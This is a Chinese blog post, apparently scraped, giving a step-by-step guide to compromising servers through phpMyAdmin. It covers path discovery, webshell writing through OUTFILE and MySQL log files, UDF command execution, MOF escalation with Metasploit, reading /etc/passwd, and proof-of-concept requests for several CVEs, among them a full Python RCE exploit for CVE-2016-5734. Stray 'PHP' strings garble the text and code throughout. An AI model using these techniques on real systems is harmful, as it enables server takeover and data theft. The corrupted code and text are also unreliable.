php网站攻击实例怎么写(PhpMyAdmin攻击面)

wufei123 发布于 2023-11-04 阅读(846)

php教程全集

免责声明本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任只供对已授权的目标使用测试,对未授权目标的测试作PHP者不承担责任,均由使用本人自行承担。

文章正文phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库借PHP由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。

其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以PHP在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。

也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确PHP性0x01 信息收集1.1 版本信息获取获取phpmyadmin版本信息,在网址根路径后面添加readme.phpREADME

changelog.phpChangeDocumetation.htmlDPHPocumetation.txttranslators.html(注意区分大小写)就可以看到phpmyadmin的相关版本信息了,这个方法也是通杀的,只要管理员不把他们删掉。

也可以直接访问:/doc/hPHPtml/index.html目录1.2 绝对路径获取(1) phpinfo() 页面:最理想的情况,直接显示web路径(2) web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径

(PHP3) 一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以通过查看数据库路径show variables like%datadir%;再猜解web路径的方法,一般容易PHP成功。

(4) 利用select load_file() 读取文件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的文件Trick:如何判断目录是否存在,PHP往往确定了/var/www/html目录,但是还有一层目录不能 确定,可以采用目标域名+常用的网站根目录的方式进行爆破,当使用。

selecttestinto outfile /var/www/$fuzPHPz$/shell.php;时目录fuzz不存在将会报错Cant create/write to file /var/www/html/666.txt (Errcode: 2);如果存在但是目录写不进去PHP将返回(Errcode: 13);如果使用的

load data infile "/etc/passwd" into table test;该语句执行后将也会显示文件是否存在,有权限能否写等信息(5)其PHP他方法1.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径。

2.进入后台3.百度出错信息 zoomeye shadon 搜索errorwarning4. @@datadir参数看mysqPHPl路径 反猜绝对路径0x02 PhpMyAdmin利用2.1 写入文件GetShell

可以通过写shell进行提权,而我们需要满足以下条件:1.数据库root权限2.知道网站的物理路径3.数据库有写权PHP限MySQL 5.0+的版本会,然后在服务运行的情况下修改变量变量也可以移动文件位置的,但是必须要对生成日志的目录具有可更改的写权限。

(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQPHPL是另外一个用户,权限管控较大严格,主要取决于权限配置是否得当)2.1.1 直接写入文件getshell直接用into outfile 直接在网站目录下写入webshell,但是该方法需要前提条件是:PHP

(1) 当前的数据库用户有写权限(2) 知道web绝对路径(3) web路径能写如何判断当前数据库用户有写权限?执行:show variables like%secure%;如果secure_filePHP_priv如果非空,则只能在对应的目录下读文件,如果是空即可在其他目录写。

Linux下默认/tmp目录可写secure-file-priv特性secure-file-priv参数是用来限制LOADDAPHPTA, SELECT ... OUTFILE, andLOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出当secure_PHPfile_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制

可以在mysqPHPl-ini文件中设置其属性编写一句phpinfo文件,select "" INTO OUTFILE "d:\\phpstudy\\www\\7.php"

这里必须注意要双反斜线,否则会转义,2.1.2 PHP通过写入日志文件getshell读写权限+web绝对路径,修改日志文件为webshell具体利用方法如下(1) 开启日志记录:setglobal general_log =

"ON";(2) 查看当前的PHP日志目录:show variables likegeneral%;(3) 指定日志文件setglobal general_log_file = "C:/phpStudy/PHPTutorial/WWWPHP/404.php"

;(4)) 写入执行代码:select "";2.1.3 通过慢查询写入webshell具体方法如下:(1) 查看当前慢查询日志目录:show variables like

%slowPHP%;(2) 重新设置路径:setGLOBAL slow_query_log_file=C:/phpStudy/PHPTutorial/WWW/slow.php;(3) 开启慢查询日志:setGLOBAPHPL

slow_query_log=on;(4)) 执行写入日志:select from mysql.db where sleep(10);2.2 User defined funct ion(UDF):PHP

适用于Windows和Linux环境,利用需要的条件:具有写权限+插件目录可写(或者可以更改指定的插件目录)具体情况要看目标mysql的版本:(1) Mysql version > 5.1 时,dllPHP或者so必须位于mysql安装目录lib\plugin下,当对该目录具有写权限时可以利用,查看:。

show variables like%plugin%;// 查看插件目录(2) 5.0 <= MysPHPql version <5.1时,需要导出至目标服务器的系统目录,如C://Windows/System32

(3) Mysql version < 5.0 时,目录可以自定义具体利用如下:a 根据目标PHPmysql版本写入特定目录的so或者dll,可以参考sqlmap里面的selectIt is dllinto dumpfile

C:\Program Files\MySQL\MySQL Server 5PHP.1\l ib\plugin\lib_mysqludf_sys.dll;b 创建对应的function:createfunction

sys_eval returns string soname "liPHPb_mysqludf_sys.dll";c 执行命令:select*from mysql.func where name =sys_eval

; #查看创建的sys_eval函数select sys_ePHPval(whoami); #使用系统命令2.3 MOF提权:通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次上传的MOF。

一般适用于Windows <= 20PHP03,并且C:\Windows\System32\mof目录具有写权限(一般是没有权限写)可以使用MSF直接利用:use exploit/windows/mysql/mysql_mof

set rhosPHPt 192.168.1.5set rport 3306setpassword rootset username rootexploit0x03 PhpMyAdmin漏洞利用3.1 WooYun-201PHP6-199433:任意文件读取漏洞

影响范围:phpMyAdmin version 2.x版本POC如下:POST /scripts/setup.php HTTP/1.1 Host: your-ip:8PHP080Accept-Encoding: gzip, deflate Accept: */*

Accept-Language: enUser-Agent: Mozilla/5.0 (compatible;PHP MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)

Connection: closeContent-Type: application/x-wwwPHP-form-urlencoded Content-Length: 80action=test&configuration=O:10:

"PMA_Config":1:{s:6:"source",s:11:PHP"/etc/passwd";}3.2 CVE-2014 -8959:本地文件包含影响范围:phpMyAdmin version 4.0.1~4.2.12

PHP version < 5.3.4POC如下PHP:/gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfoPHP.txt%00

# 注意改下token值在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到3.3 CVE-2016PHP-5734 :后台命令执行RCE。

影响范围:phpMyAdmin version 4.0.10.16 之前的4.0.x版本 4.4.15.7 之前的 4.4.x版本 4.6.3之前的 4.6.x版本PPHPHP version 4.3.0~5.4.6

Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了POC如下:#!/usr/bin/env python"""cve-2016PHP-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit

Details: Working only at PHP 4.3.0-5.4PHP.6 versions, because of regex break withnullbytefixedin PHP 5.4

.7.CVE: CVE-2016-5734Author: https://PHPtwitter.com/iamsecurityrun: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system(ls -PHPlua);"

"""import requestsimport argparseimport sys__author__ = "@iamsecurity"if __name__ == __main__:PHP parser = argparse.ArgumentParser()

parser.add_argument("url", type=str, help="URLwithpathto PMA") paPHPrser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")

parser.add_argument("-u",PHP "--user", required=True, type=str, help="Valid PMA user") parser.add_argument(

"-p", "--pwd", requirPHPed=True, type=str, help="Password for valid PMA user") parser.add_argument("-d"

, "--dbs", type=str, PHPhelp="Existing database at a server") parser.add_argument("-T", "--table", type

=str, help="Custom taPHPble name for exploit.") arguments = parser.parse_args() url_to_pma = arguments.url

uname = arguments.PHPuser upass = arguments.pwdif arguments.dbs: db = arguments.dbselse: db =

"test" token = False custom_PHPtable = Falseif arguments.table: custom_table = Truetable = arguments.table

else:table = "prgpwn"if aPHPrguments.cmd: payload = arguments.cmdelse: payload = "system(uname -a);"

size = 32 s = requests.SessiPHPon()# you can manually add proxy support its very simple ;)# s.proxies = {http: "127.0.0.1:8080", htPHPtps: "127.0.0.1:8080"}

s.verify = Falsesql = CREATE TABLE `{0}` ( `first` varchar(10) CHARACTER SET uPHPtf8 NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `{0}` (`first`) VALUES (UNHEX(302F65PHP00));.format(table)# get_token resp = s.post(url_to_pma +

"/?lang=en", dict( pma_username=uname, pma_PHPpassword=upass ))if resp.status_code is200

: token_place = resp.text.find("token=") + 6 token = resp.PHPtext[token_place:token_place +

32]if token isFalse: print("Cannot get valid authorization token.") syPHPs.exit(1)if custom_table

isFalse:data = {"is_js_confirmed": "0","db": db,"token": token,"pos": "0","sPHPql_query": sql,"sql_delimiter"

: ";","show_query": "0","fk_checks": "0","SQL": "Go","ajax_request": "PHPtrue","ajax_page_request": "true"

, } resp = s.post(url_to_pma + "/import.php", data, cookies=requestPHPs.utils.dict_from_cookiejar(s.cookies))

if resp.status_code == 200:if"success"in resp.json():if resp.PHPjson()["success"] isFalse:first = resp.json()[

"error"][resp.json()["error"].find("")+6:]error = firsPHPt[:first.find("")]if"already exists"

inerror: print(error)else: print("ERROR: " + error) sys.exit(

1)#PHP build exploit exploit = {"db": db,"table": table,"token": token,"goto": "sql.php","find": "0/e\0"

,"PHPreplaceWith": payload,"columnIndex": "0","useRegex": "on","submit": "Go","ajax_request": "true" }

resPHPp = s.post( url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejaPHPr(s.cookies)

)if resp.status_code == 200:result = resp.json()["message"][resp.json()["message"].find(PHP"")+8

:]iflen(result): print("result: " + result) sys.exit(0) print("Exploit failed!\n"

"Try to manualPHPly set exploit parameters like --table, --database and --token.\n""Remember that servers with PHP vePHPrsion greater than 5.4.6"

" is not exploitable, because of warning about null byte in regexp" ) sys.ePHPxit(1)利用如下:cve-2016-5734.py -u root --

pwd="" http://localhost/pma -c "system(ls -lua);"3.4 CVE-2018-PHP12613:后台文件包含影响范围:phpMyAdmin version 4.8.0和4.8.1

利用如下:(1)执行SQL语句,将PHP代码写入Session文件中:select (2)包含sessioPHPn文件:http://10.1.1.10/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/PHPsess_***

# *** 为phpMyAdmin的COOKIE值3.5 CVE-2018-19968:任意文件包含/RCE影响范围:phpMyAdmin version 4.8.0~4.8.3利用如PHP下:(1)创建数据库,并将PHP代码写入Session文件中

CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEYPHP );INSERT INTO foo.bar SELECT

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。